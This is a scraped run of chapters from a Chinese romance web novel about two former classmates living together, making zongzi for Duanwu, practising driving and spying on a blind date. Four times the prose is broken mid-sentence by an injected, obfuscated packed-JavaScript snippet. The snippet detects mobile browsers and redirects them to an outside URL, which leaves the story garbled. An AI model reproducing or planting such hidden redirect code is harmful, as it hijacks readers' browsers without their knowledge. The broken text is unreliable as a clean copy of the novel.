柯向阳:“我也没说不去,我只是需要点时间做心理准备。” “什么死德行,看个牙还要心理准备。”乔梦书骂了一句,转头去找自己的两只小棉袄。 “对了,你们端午有什么安排吗?”纪向松问道。 以往的柯向阳根本没有过节的意识,现在跟厉时修住在一起,倒是愿意花点心思过个节:“我想包粽子。” “这个好,到时候我来吃粽子。”纪向松马上报名。 厉时修不耐烦道:“请你了吗?就说要来。” “不要这么小气嘛,包粽子人多点才热闹啊,是吧小柯?”纪向松期待地看着柯向阳。 话是没错,可这是厉时修的家,问他干嘛?柯向阳转头望向厉时修。 厉时修:“那你准备食材,还得过来一起包,别想吃现成的。” “你也得来,不然我一个人跟电灯泡似的。”纪向松勾住乔梦书的脖子小声道。 “说话就说话,别动手动脚的。”乔梦书嫌弃地推了他一把,总觉得纪向松意有所指。 纪向松当即拍板:“那约好了,这周六我们来一起包粽子。” 厉时修臭着一张脸,莫名不爽。 送走纪向松和乔梦书,看着还早的时间,厉时修问:“看电视吗?” “好啊。”柯向阳点头,把餐桌上的卤味端到茶几,顺便拿了几罐啤酒,准备边看边吃。 亮起的屏幕上自动续播几天前那部美剧。 他喝了一口啤酒,突然意识到现在的情形简直跟那晚一模一样,顿时不淡定了。 柯向阳坐在沙发上,时不时地换个姿势,也不知道自己在躁动什么。 厉时修受不了地问他:“是沙发上有钉子还是你长痔疮了?” 柯向阳嘟囔着:“我只是想找个舒服的姿势。” 厉时修面无表情地问:“那要不要坐我腿上?” 柯向阳转头看向那张俊脸,实在没看出来他是认真的还是开玩笑,只能安分坐好不再乱动。 厉时修又问:“驾驶证什么时候会寄到?” “教练说快的话隔天就到了。”柯向阳也很期待。 厉时修:“等到了我陪你一起上路练练。” “好啊。”柯向阳刚说完,转念一想:“你不会骂我吧?” 厉时修模棱两可道:“得看你表现了。” 柯向阳脸上写满“害怕”两字,不过他也知道,这是他成为老司机的必经之路。 两人安静地看了会电视,正好看到几位主角在讨论各自的爱情观。 有人推崇及时行乐,一味追求浪漫与刺激,也有人强调责任,更重视婚姻与家庭。 “你觉得呢?”厉时修问。 柯向阳想了想,答:“我可能有点理想化了,我希望自己的爱情可以兼具激情与责任,大概得碰上一个非常合拍的人才行。” 厉时修点点头表示赞同:“那你这些年都没有遇到想要谈恋爱的对象吗?” 柯向阳沉默片刻,坦白道:“我有喜欢的人了,只是人家不喜欢我。” 厉时修:“?” “而且我不是非得谈恋爱啊,我觉得一个人也挺好的,身边还有你和乔乔这样的好朋友,我已经很满足了。”柯向阳说得十分真诚。 厉时修:“所以,上次聚餐,你跟林清说的都是真的?” 柯向阳有些惊讶他居然还记得同学聚会上自己说的话,点头道:“嗯……对啊。” 厉时修表示不解:“我没见你追过别人。” 柯向阳忙道:“追人那部分是假的。” “那你喜欢的是谁?喜欢多久了?”厉时修绷着脸,随后像是想到什么,直勾勾地看着柯向阳:“你不会还在喜欢高中时期的那个人吧?” 柯向阳想起当初知道厉时修反感同性恋后,为了不暴露自己的性向,在他面前随口编了个暗恋对象,没想到他连这也记得,只能顺势承认:“对,就是她。” 厉时修:“你们还有联系?上次聚会她有去吗?” “大学时联系过,后来就没了,不是我们班的,你不认识。”柯向阳在这一瞬,深刻理解了“说一个谎,得用无数个谎来圆”这句话的真谛。 厉时修肉眼可见地烦躁起来:“都没联系你还喜欢?你到底喜欢她什么?还喜欢了这么多年,人家说不定早有男朋友了。” 柯向阳不知道这话要怎么接,在他的世界里根本没有那个人,只能“嗯嗯嗯”地点头附和。 “难怪一点上进心都没有,原来全长成恋爱脑了。”厉时修见他那样就来气。 柯向阳虚心接受:“是是是,论上进心, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171837|196840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我肯定比不上你啊。” 此刻柯向阳真诚的话语在厉时修耳中显得十分阴阳怪气,他盯着柯向阳那双无辜的眼睛,最后恶狠狠道:“明天把你简历发我一份。” 柯向阳不知道话题为什么变得这么突然:“你要我简历干嘛?” 厉时修:“帮你安排工作。” 柯向阳:“啊?” “人太闲就容易想七想八,而且你驾照也考完了,该把心思放在工作上了。”说完犹觉不够,厉时修又补充道:“你看看你现在这咸鱼的样子,没有女孩子会喜欢的,身为一个男人,不努力不上进,女孩子凭什么嫁给你?为了跟你一起吃苦吗?” 柯向阳心想他又不需要讨女孩子喜欢,不过他本来就打算考完驾照再去找找工作,听到厉时修要给他安排,不禁好奇地问:“那你要给我安排什么工作啊?” “你别管,等通知就好。”厉时修说完,电视也看不下去了,气呼呼地回卧室。 柯向阳挠挠头,不知道自己哪里又惹他生气了。 * 驾驶证第二天就寄到家了,为了避开下班高峰期,厉时修再次提前下班,带柯向阳到郊区的公路上练车。 两人在路边换了位置,主驾上的柯向阳调整好座位,开启转向灯,系上安全带,换挡,放手刹,一气呵成。 厉时修点点头,他才将脚从刹车的位置换到油门,缓缓起步。 车窗外,两侧刚种下不久的行道树在风中挥舞着纤细的枝条,太阳逐渐下移,温暖的光辉洒向深色柏油路,零星的车辆疾驰而过,瞬间没了影子。 车窗内,厉时修愤怒的声音充斥在狭小的空间:“你方向盘不能打快点嘛?这路再窄一点你就转不过来了!” 柯向阳理直气壮:“这个车的方向盘太重了,我一下子没用上劲才打慢了。” 厉时修质问:“你科二考试不是开的油车吗?” 柯向阳狡辩:“那才开了多久啊,而且科三又换回电车了,早就忘记那个手感了。” 没过多久,厉时修又忍不住道:“你一直跟在人家屁股后面干嘛?边上又没车,超车啊。” 柯向阳:“我不想超车。” 厉时修缓和了一下心情,尽量语气平稳地问:“你知道要是追尾的话你是全责吧?” 柯向阳嘴硬道:“我开得又不快,也没跟很紧,怎么会追尾嘛。” 厉时修听得邪火狂冒:“人家突然来个急刹,你能反应过来吗?” 好不容易完成超车,又碰上红绿灯了。 厉时修听着身后的喇叭声,简直要气死:“起步的时候油门踩深一点,前面又没车,你怕什么?” 柯向阳毫不示弱:“教练说了踩油门要谨慎,万一路口冲出点什么呢?” 厉时修气笑了:“又没让你全踩下去,你不踩油门车哪来的动力起步?一次红绿灯二十几秒,就过你一辆车啊?” 两个人在车上你一言我一语地争执起来,谁也不让谁。 最后,柯向阳嘀咕了一句:“我再也不要跟你一起开车了。” 厉时修:“……” 果然只要一开车,管你是谁,都得变成炸药包。 17. 端午 回去的路上,柯向阳坐在副驾上,冷静下来的大脑开始反思起自己之前的态度。 身边的厉时修手握方向盘,目视前方,脸色阴沉。 好几次道歉的话语就在嘴边,一看到厉时修的表情,又缩了回去。 车内压抑的氛围让柯向阳忍不住低下头,无聊地拨弄起自己的手指。 等红绿灯的间隙,厉时修不动声色地瞥了一眼副驾,沉默的柯向阳仿佛一只做错事的小狗,头上凭空冒出一对往下垂的耳朵,时不时用那双圆溜溜的大眼睛传来委屈巴巴的目光。 原本打定主意下车前绝不跟他说话的厉时修默默叹了一口气,开口问道:“晚上吃牛肉火锅吗?” 柯向阳的双眼顿时亮了起来,不住点头:“吃吃吃,我请客!” “当然是你请客。”厉时修没好气道。 沉默的气氛打开了一个口子,再继续说下去就没那么难了,柯向阳诚恳道:“厉哥,对不起,我不该一直顶嘴的,我知道你是为我好。” “你知道个……”厉时修忍住想要出口的脏话,轻哼一声,“以后还跟不跟我一起开车了?” “当然,你不陪我我怎么敢上路?”柯向阳笑得眯起了眼。 厉时修的脸色缓和许多:“那还顶嘴吗?” “不顶了。”柯向阳应得好听,其实心里一点底也没有,开车的时候根本控制不住自己的脾气,总觉得像是被夺舍了一样,太上头了,难怪那么多人都有“路怒症”。 见他认错态度良好,厉时修表示勉为其难地原谅他了。 两个人开开心心地吃了牛肉火锅,回去的路上,厉时修问柯向阳想吃什么口味的粽子,他要让纪向松先备好食材。 “我喜欢吃肉粽,可以包两种,纯鲜肉的和带咸蛋黄的,不过光吃咸口的有点单调,甜粽也包一点吧,豆沙的,八宝的,蜜枣的,都很好吃。”柯向阳好久没吃过粽子了,口腔里不自觉地开始分泌口水,“这样会不会太多啊?” 厉时修无所谓道:“多什么多,难得包一次,想吃什么包什么。” “啊,碱水粽蘸白砂糖也很好吃的。”柯向阳舔了舔嘴巴,感觉才吃过晚饭的肚子好像又饿了。 “行。”厉时修直接让纪向松将各种口味的食材都备上一点。 柯向阳已经开始期待端午的到来了。 * 端午前一天,纪向松按照说好的让人把食材全部送上门。 唯一的闲人柯向阳便和阿姨一起在厨房为明天做准备。 浸泡糯米、杂粮、豆类食材,腌制肉类,制作豆沙馅,处理干货。 他们想包的口味太多,所以食材也多,两个人一起忙碌了一个下午,晚上还得把泡发的食材沥干,一起和腌肉、馅料装到保鲜盒里冷藏。 才刚忙完,手机铃声响起,柯向阳看见屏幕上明晃晃的“爸爸”二字,动作一顿。 柯向阳完全没想到会接到他爸的电话,他们已经有好几个月没联系过了:“喂,爸。” 柯建川的声音从听筒传出,熟悉又陌生:“下班了吗?明天端午节,过来一起吃饭。” 柯向阳不知道是自己的耳朵出问题了还是柯建川的脑子出问题了,父子俩一年到头联系的次数一只手数得过来,以往最多过年的时候客气一下喊他吃饭,今天是犯什么病了? 但话不能这么问出口,柯向阳直接了当地拒绝:“我有约了,就不去了。” 柯建川马上追问:“有什么约?跟女朋友吗?正好一起带回来看看,谈多久了啊?你这个年纪是可以考虑定下来了,女孩子没什么问题的话,就早点……” 柯向阳不耐烦地打断对方的话:“不是女朋友,是我的高中同学,以前去过我们家的。” 柯建川沉默了会,随后恍然大悟道:“哦我想起来了,那个姓厉的是吧?你们还在一起玩啊?他也没对象吗?天天跟你混在一起,你看看你们俩,这么不务正业的。” “人家干什么跟你有关系吗?我都说不去吃饭了,没别的事我挂了。”柯向阳实在不明白从来没有承担过父亲责任的柯建川为什么在教训孩子的时候能这么理直气壮。 “你什么态度?跟自己老子说话没大没小的,白读那么多书了,是你阿姨特地让我喊你回家一起过节的,你妹妹从学校回来了,你都不想见她一面吗?” 柯建川的声音源源不断从柯向阳的右耳进去,再从左耳出来,变成一个个看不懂的符号绕着他的头顶转圈圈。 厉时修下班回来就见柯向阳躺在沙发上,双眼无神,一味对着电话“嗯嗯”地敷衍着。 柯向阳和他爸关系一般,奶奶在时还能偶尔看见他爸带着老婆孩子回老家,奶奶离世后,柯建川给了他一笔上大学的费用,彻底回归自己的新家庭,对他几乎不闻不问。 好在柯向阳对“父亲”这个身份早就没有幻想,上大学到现在,父子俩只一起吃过三次年夜饭。 柯建川口中的阿姨是他的二婚对象,柯向阳的后妈,两人婚后去县里买了房,生了个女儿,比柯向阳小四岁,正在上大三。 在柯向阳眼里,他们才是一家人,那里不是自己的家,每次去都跟做客一样,还没在厉时修家里自在。 后妈虽然对他客气,也仅仅是客气:“不说了,我还有事,帮我谢谢阿姨,祝你们端午节快乐。” 柯建川哼了一声:“不来就不来,说了多少遍了,要说端午安康,还本科学历呢,一点文化都没有。” 柯向阳:“……” 厉时修在边上听了半天,了然道:“叔叔的电话?” “喊我去吃饭,莫名其妙。”柯向阳把手机丢到一边,对着空气打了一套组合拳,“烦死了!我才不去。” 厉时修:“不去还烦什么?” 柯向阳怒道:“我说个端午节快乐他就说我没文化,他才没文化!” 厉时修看他像一只生气的博美,只觉好笑。 * 端午这天,纪向松和乔梦书早早到了,担心四个大男人包不好粽子,阿姨也来帮忙。 将食材切好装碗,一道道摆满整个桌面。 “这个不会是龙虾肉吧?”乔梦书指着个碗问道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171838|196840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纪向松得意回答:“没错,既然要包海鲜粽,那就得包顶配版。” 海鲜粽的食材还有蟹腿肉、海胆、黑金鲍鱼,柯向阳怀疑道:“这些包进去真的会好吃吗?别浪费了。” 纪向松财大气粗地挥挥手:“没事,都是小意思,研究美食就得勇于创新嘛。” 阿姨率先做了个示范。 厉时修学得很快,两片粽叶在手里一翻一卷,一个形状标准的三角粽就出来了。 柯向阳和乔梦书以前在家里帮忙包过粽子,虽然有些生疏,包了两个也逐渐上手。 纪向松则完美诠释了什么叫做“笨手笨脚”。 只见他看完阿姨的示范,自信满满地抄起两片粽叶折成漏斗状,依次往里加入糯米、鲜肉。 “是让你的形状像漏斗,不是真的做个漏斗出来,你看看你的米,要漏光了。”乔梦书毫不留情地吐槽。 “得先把粽叶卷紧,底下别留缝,然后再放米,这样。”阿姨笑着又给纪向松示范了一遍,动作娴熟流畅,绑线的时候一气呵成,简直赏心悦目。 纪向松又试了几次,勉勉强强包出一个,放在一堆粽子里,丑得出奇。 为了区分不同馅料,阿姨教了他们各种造型的粽子,最后乔梦书和纪向松干脆玩起来了,包出一堆造型独特的粽子不说,还要尝试各种馅料组合。 “这些等会你们自己吃。”厉时修看着那颗像裹着团大杂烩的粽子,十分嫌弃。 “自己吃就自己吃,等会你想吃还没有呢。”纪向松对自己的作品信心满满。 包好的粽子得煮很久,一种口味煮一锅,几人从早上忙到下午才吃上。 “好烫好烫!”柯向阳先拿了个肉粽,被烫得直叫唤。 剥开粽叶,咬下一口,软糯的米粒吸满五花肉的油脂,包裹在其中的肉块肥瘦相间,恰到好处的调味,醇厚鲜美的肉汁,组合成一场极致的味蕾盛宴。 柯向阳觉得这是他这辈子吃过最好吃的鲜肉粽了。 豆沙粽口感细腻绵密,加了点陈皮来解腻,堪称点睛之笔。 海鲜粽更是鲜到极致,吃完以后来一个碱水粽清清口,咸甜搭配,动力无限。 柯向阳把所有口味尝了一遍,嘴巴还没满足,肚子已经撑得圆鼓鼓的。 纪向松和乔梦书的大杂烩粽子包得很大,只能拆开装盘,大家一起吃,连不吃海鲜的厉时修也被逼着尝了一点。 几人吵吵闹闹地过了个端午,临走时不忘把粽子打包带回家。 客厅突然安静下来,柯向阳还有点不适应。 厉时修将小乖从猫屋放出,问:“怎么又发呆?” 柯向阳抱起小乖:“感觉他们每次来家里都好热闹,一走就变冷清了。” 厉时修:“我记得你不喜欢热闹。” 柯向阳:“我现在觉得几个朋友聚在一起,聊聊天,吃吃饭,比自己一个人要有意思得多。” 厉时修认真地说:“你要是喜欢,以后多叫他们来就是了。” 柯向阳笑了笑,没有回答,他怕再住下去,真把这当自己家了。 18. 相亲 柯向阳将剩下的粽子放到冰箱,明天拿出来热一热又是一餐。 厉时修去书房处理一些工作上的问题,无所事事的柯向阳独自待在客厅,往沙发上一躺,开始整理相册。 最近拍的照片太多,内存快不够用了,这部手机还是大学时买的,用了四五年,是该换一部新的了。 正好遇上618电商节,优惠力度最大的时候,柯向阳上购物软件搜索了几个知名品牌的手机对比着看了一圈,越看越纠结。 刚想问问乔梦书有没有推荐的牌子和型号,就收到对方发来的消息:【明天有空吗?陪我出去一趟。】 柯向阳:【有空,你要干嘛?】 乔梦书:【我妹要去相亲,我不放心,想跟去看看。】 柯向阳了然地点点头,乔梦书的妹妹名叫乔梦瑶,正在读研,兄妹俩相差一岁,感情一直很好。 乔梦书因为出柜被父母赶出家门,但跟妹妹还保持着密切联系,如今最宝贝的妹妹要去相亲了,当哥哥的不放心很正常。 柯向阳想到了自己的妹妹,和他的关系只能算不好不坏,一时有些感慨:【你妹这么小就要去相亲啊?】 乔梦书:【谁说不是呢?她还上学呢,不知道我爸妈在急什么,气死我了!】 柯向阳:【可能是觉得你指望不上了,怕你妹步你的后尘?】 乔梦书:【你是不是跟霸王龙住久了所以变得越来越毒舌了?】 论起毒舌,乔梦书不遑多让,柯向阳觉得自己说话已经很温和了:【你不要恶人先告状。】 乔梦书不忘抽空关心一下朋友的感情生活:【对了,你最近跟霸王龙怎么样?有进展吗?】 看到“进展”两个字,柯向阳不禁想到那个被酒精支配的夜晚,下意识不想让乔梦书知道:【没有进展。】 乔梦书:【不应该啊,经过这几次的相处,我觉得霸王龙对你真的不一样。】 柯向阳:【有什么不一样?】 乔梦书:【他对你完全是有求必应嘛,我怀疑你直接说想跟他做、爱,他也会毫不犹豫地答应。】 就算只是文字,对柯向阳的冲击也是巨大的,这到底是他太传统还是乔梦书太开放啊,真是受不了:【他只是把我当家人看待,你忘了小纪之前说的话了?】 乔梦书:【小纪最爱满嘴跑火车了,不过直男是没什么边界感,下手没轻没重的,实在可恶。】 柯向阳心想果然,直男才更不懂得避讳,那些亲密接触对他们来说没有任何意义,确实可恶:【好了不说这些了,明天什么时候啊?】 乔梦书:【下午两点,男方约她喝下午茶,等会我把地址发你。】 【好哦。】柯向阳想着到时候正好让乔梦书陪他去体验店里看看手机。 忙完的厉时修从书房出来,朝柯向阳问道:“明天要不要去开车?” 柯向阳遗憾道:“我明天要跟乔乔出去。” 厉时修:“那等你回来再说。” “好。”面对厉时修英俊到无可挑剔的五官,柯向阳想起乔梦书说的那句“有求必应”,心想要是真的就好了。 * 乔梦书给的地址是明大附近的一家咖啡厅,柯向阳到时看到的便是他带着鸭舌帽和墨镜站在人家店门口的盆栽后面鬼鬼祟祟的模样。 “你这样真的很像变态跟踪狂。”柯向阳无语。 乔梦书闻言将墨镜摘下,戴到柯向阳脸上,顿时为他俊秀温和的长相增添一丝冷酷。 两人一个穿黑T,一个穿白T,清爽干净,身材高挑,站在一起颇为养眼。 柯向阳不习惯所有东西都带上一层滤镜的感觉,摘下墨镜问:“他们来了吗?” 乔梦书指了指不远处正在点单的男女:“在那呢,墨镜戴上,别被我妹认出来了。” 室内戴墨镜,不是装逼就是有病,但为了朋友,他得不做出牺牲。 两人坐在靠近角落的位置,朝乔梦瑶的方向看,正好可以看见他们的侧脸。 柯向阳只觉那个男人越看越眼熟,转头问道:“你妹的相亲对象叫什么名字啊?” 乔梦书点开手机翻找聊天记录:“怎么感觉你在骂我。” 柯向阳:“你不要自己是什么样,看别人也是什么样行吗?” 乔梦书翻了半天没翻到,心想大概是在语音通话里说的:“我记得好像姓程。” 柯向阳:“是不是叫程嘉弘?” 乔梦书一惊:“你怎么知道?你认识他啊?” 柯向阳:“我们是高中同学,很久没联系了,上次的同学聚会他也去了,才加的微信。” 乔梦书立刻来了兴趣:“我去,太巧了吧。” 柯向阳也觉得奇妙,两人的关系网就这么重合上了。 乔梦书追问:“快给我说说这男的怎么样,值不值得托付终生?家里条件如何,几口人?父母都是做什么的?他现在在哪工作?有没有不良嗜好?有过几段感情史?” “我们只是高中同学,又不是在一个族谱上,我去哪知道得那么清楚?而且中间七年没见过,我跟他也不是很熟好吧。”这是把他当搜索引擎用呢。 乔梦书退而求其次道:“那你就说说他高中时期人品怎么样?有没有什么黑历史?” “人品我觉得还可以,对谁都乐呵呵的,好说话,自来熟,我记得他家条件不错,好像是做生意的。”柯向阳努力回想着对程嘉弘为数不多的记忆,“黑历史的话,他高中挺胖的,这个算吗?” 乔梦书一愣,面色变得古怪起来:“挺胖是多胖啊?” “两百多斤吧。”柯向阳估算了一下,“人家现在瘦很多了。” 乔梦书摸摸下巴:“这有点不妙啊。” “哪里不妙?”柯向阳摸不着头脑地问。 乔梦书凑近了点,小声说道:“胖的人那啥都小,高中早就定型了,瘦下来也长不大。” 柯向阳反应了会,意识到乔梦书说的是什么,脑海里不由自主地产生画面,整个人都不好了。 “而且胖子的能力也不太行,一般都是秒……” “快别说了。”柯向阳一把捂住乔梦书的嘴,心虚地朝四周看了一圈,还好边上没什么人。 “干嘛啊,这些在两性、交往中相当重要,当然,在同性、交往中也很重要,放心啦,我看你家霸王龙应该没有这方面的问题。”乔梦书拍拍他的肩。 柯向阳又羞耻又好奇:“你哪来的根据?” “我跟你说过的啊,男人指节大,代表能力强,拇指到食指的距离远,代表那里长。”乔梦书举起右手,伸出拇指和食指比划了一下,“霸王龙两样都占了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171839|196840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 此时两人的注意力已经完全不在乔梦瑶和程嘉弘身上了。 柯向阳回想起高中时与厉时修一起洗澡的场景,长度和大小确实傲人,但是在床上是不是如乔梦书推测的那般,他就不知道了。 意识到自己在想什么,柯向阳感觉脸上一阵发烫,明明坐在有空调的室内,后背还是渗出一层薄汗。 乔梦书笑道:“不过你这种没有经验的小处男,那种尺寸可能会吃不消哦,建议你自己拿道具先试试,不知道买什么的话,我可以给你发几个链接。” “求求你了,闭嘴吧。”柯向阳受不了地捂着脸,说得好像他跟厉时修已经在一起了一样,他这辈子都没有机会可以体验厉时修的尺寸。 “好好好,我不说了,继续看。”乔梦书将目光重新投向乔梦瑶那边,却见两人正准备离开,“怎么回事?这么快就吃完了?肯定是没看上。” 柯向阳实事求是地说道:“可看他们俩挺开心的啊。” 乔梦书:“不管了,跟上去看看。” 乔梦瑶身着淡粉色的连衣裙搭配白色低跟小皮鞋,本就漂亮的脸上化了淡妆,整个人洋溢着甜美的气息。 程嘉弘很明显也捯饬过,耐看的长相和挺拔修长的身材与乔梦瑶走在一起十分登对。 柯向阳和乔梦书不远不近地跟在两人身后,见他们说说笑笑,气氛不错。 乔梦书:“到底在聊什么?笑那么开心,我们跟紧点听听。” “这样不好吧。”柯向阳嘴上这么说,身体倒是很诚实地跟着乔梦书一起加快脚步。 事实证明这两个人并没有当侦探的天赋,出了咖啡厅没走两步就被乔梦瑶逮个正着:“老哥?向阳哥?怎么是你们啊,我差点以为有变态在跟着我们。” “我们出来逛逛,恰好碰见你们,这位是?”乔梦书皮笑肉不笑地打量着程嘉弘。 乔梦瑶一眼看出自家大哥的目的,大大方方地给他们做了介绍:“他叫程嘉弘,我的相亲对象,这位是我哥哥乔梦书,亲的,这位是我哥哥的朋友柯向阳。” “哥哥你好,叫我小程就好。”程嘉弘紧张地与乔梦书握了手,目光转向柯向阳时明显放松不少:“向阳,没想到你和哥哥是朋友,真的好巧啊。” “是啊,太巧了。”柯向阳笑了笑。 乔梦书一脸“谁是你哥哥”的表情皱眉道:“你们准备去哪啊?” “我们要去看电影,《星际宝贝史迪奇》,你们要不要一起?”乔梦瑶顺嘴问了一句。 柯向阳刚想拒绝,乔梦书却像没听出话里的客套一般,抢先应道:“好啊,我们正好也想看这部,一起吧。” “那我再买两张票。”程嘉弘十分有眼力见地掏出手机购票。 他们要去的电影院在隔壁的商场里,程嘉弘开了车,乔梦瑶担心节假日商场的停车场车位紧张,停车费也贵,提议走路过去。 柯向阳看到停在边上的电动车,说:“我们骑车了,一辆两个人刚好。” “行,我来骑车吧。”程嘉弘朝柯向阳使了使眼色,摆明了是想趁机带乔梦瑶。 “没事,哥哥带得动你,瑶瑶,你坐你向阳哥的车”乔梦书说完,一把将程嘉弘拉上自己的车,“嗖”地一下窜了出去。 乔梦瑶:“……” 柯向阳:“……” 19. 补酒 独自在家的厉时修接到纪向松的电话时,正在给小乖刷牙。 这项工作平时都由柯向阳负责,但厉时修刚刚亲眼目睹小乖给几只小猫舔了屁股,再想想柯向阳每次出门回来第一件事就是抱着小乖亲它的嘴,不得不亲自动手帮小乖清理口腔。 纪向松在电话里说给他带了瓶好东西,非要他去餐厅取,顺便帮忙试试菜。 本来是不想理的,耐不住纪向松软磨硬泡耍无赖,厉时修把小乖放回猫屋,调整了监控器的角度,起身出门。 * 看着桌上装有琥珀色液体的酒瓶,厉时修面露怀疑:“这就是你说的好东西?” “十全大补酒,我家老爷子亲自泡的,我求了好久才分了我两瓶,送你一瓶,够兄弟吧?”纪向松将这酒吹得天花乱坠,只有最后一句话打动了厉时修:“就算你不用补,你家的小鸵鸟总得补补吧?你不是老说他身子虚吗?” “你确定这玩意没有毒?”厉时修还是有些不放心。 “我没事给你下毒干嘛?你死了我又不能继承你的财产。”纪向松翻了个白眼。 厉时修拎起光秃秃的酒瓶:“不能拿个盒子装一下吗?” 纪向松便从餐厅门口的酒柜里随便扒出个盒子给他,随后打了个响指让服务员上菜:“我们家大厨的新作,特地邀请你品鉴品鉴。” 第一道是海鲜塔,没等纪向松讲解完,厉时修就冷冷地说了句:“我不吃海鲜。” “你的双标是不是有点严重了?你家小鸵鸟喊你吃的时候怎么不见你说这句话?”纪向松记得这人昨天才吃了柯向阳喂的一口海鲜粽。 第二道是烟熏鹿肉排,搭配杜松子红酒酱,配菜是松露土豆泥和黄油烤孢子甘蓝。 厉时修尝了一口,给了个不错的评价。 第三道油封鸭腿配鱼露焦糖酱,边上点缀着腌渍樱花萝卜和分子料理“酱油珍珠”。 厉时修:“已经配有鱼露焦糖酱,酱油珍珠稍显多余了。” 刚咬破一颗黑色珍珠被咸到的纪向松深以为然。 最后一道是甜品拿破仑,在传统酥皮里增加了咖啡脆片,内馅多了荔枝啫喱和青柠雪芭,想要达到酸甜解腻的效果。 厉时修尝过后给了句“花里胡哨”的评价。 纪向松也觉得一般,不如传统的拿破仑好吃。 试吃结束,纪向松还想八卦一下厉时修的感情问题,被无视得很彻底,望着厉时修离开的背影,他大声提醒:“一次喝两小杯就够了哦,喝多了我怕你虚不受补!” 厉时修把酒丢到后座,想着都出门了,干脆去公司处理一下文件,反正柯向阳也不在家。 从纪向松的餐厅到公司刚好要经过明大,等红绿灯是,无意间看见马路对面一张熟悉的脸。 那带着头盔手握车把的人不正是柯向阳吗? 很快他的注意力就被电动车后座的女孩吸引。 只见两人的脑袋凑在一处,看起来极为亲密。 厉时修的大脑产生了一瞬的空白,直到身后的车辆鸣笛催促,回过神来,发现自己已经调转车头跟上了那辆小电动。 柯向阳的车停在商场大门前,和女孩有说有笑地进了商场。 那个女孩很漂亮,跟柯向阳站在一起简直就是郎才女貌,十分养眼。 养眼个屁!厉时修找了个临时停车位给柯向阳打电话。 “喂,厉哥。” 厉时修强压心头焦躁地问:“你在哪里?” 柯向阳语调轻松:“我在星寰广场呢,跟乔乔来看电影。” 厉时修没有追问的勇气,沉默片刻,只说出一句:“什么时候回来?晚上一起吃饭。” 柯向阳:“晚上可能要跟乔乔一起吃,厉哥你自己吃吧,不用等我。” “好。”挂断电话,厉时修紧紧握拳,指甲深深陷入掌心,他却像感觉不到这阵痛楚一样,整个人被胸腔里沸腾的酸涩彻底淹没。 * 商场里,乔梦书和程嘉弘取好了票,离电影开场还有十分钟。 乔梦瑶问:“你们上厕所吗?” 柯向阳摇摇头:“不上。” 程嘉弘见状跟着摇头:“我也不上,你要去的话我帮你拿包吧。” 乔梦瑶正要把包交给他,被乔梦书一把薅过,挂在柯向阳脖子上:“你拿着,小程,陪我去上厕所。” 程嘉弘:“……” 面对程嘉弘求助的目光,柯向阳只能摊摊手表示爱莫能助,然后去买了两份爆米花套餐。 进场后,乔梦书终于放过程嘉弘,与柯向阳一起坐在后面一排。 柯向阳不解地问:“你到底在搞什么?” 屏幕上还在播放开场广告,乔梦书凑到柯向阳耳边:“我承认我对胖子有偏见了。” 柯向阳一愣,随即受不了地看向乔梦书。 乔梦书伸出手指比了个“7”的手势:“不过这个说法还挺准的。” 柯向阳面无表情道:“你再这样我真的要报警了。” 难怪非要拉着人家一起上厕所,这种时候乔梦书的脑袋总是转得特别快。 没了乔梦书捣乱,乔梦瑶和程嘉弘之间再度恢复先前的氛围,一看就知道两个人都对对方有点意思,愿意进一步发展。 吃完晚饭,乔梦书和柯向阳两个电灯泡自觉退场,让他们自己散步回咖啡店开车。 * 柯向阳回到家,发现只有一盏玄关感应灯亮着,以为厉时修出门了。 打开客厅的大灯才发现厉时修正侧身躺在沙发上,双眼直勾勾地看着他。 柯向阳吓了一跳,拍拍胸口:“你在家啊,怎么不开灯?” “在沙发上睡着了,听到你回来的声音才醒的。”厉时修的声音有些沙哑,确实像是刚睡醒的样子。 柯向阳把小乖抱出来亲了亲,闻到一阵猫猫牙膏的味道,笑道:“你给小乖刷牙了啊?” “嗯,它又给小猫舔屁股了。”厉时修从沙发上坐起,神情疲惫。 “那你吃饭了吗?”柯向阳走到厉时修身边坐下。 厉时修摇头:“还没。” “要吃粽子吗?我帮你热一热。”柯向阳放下小乖,边说边往厨房走。 厉时修:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 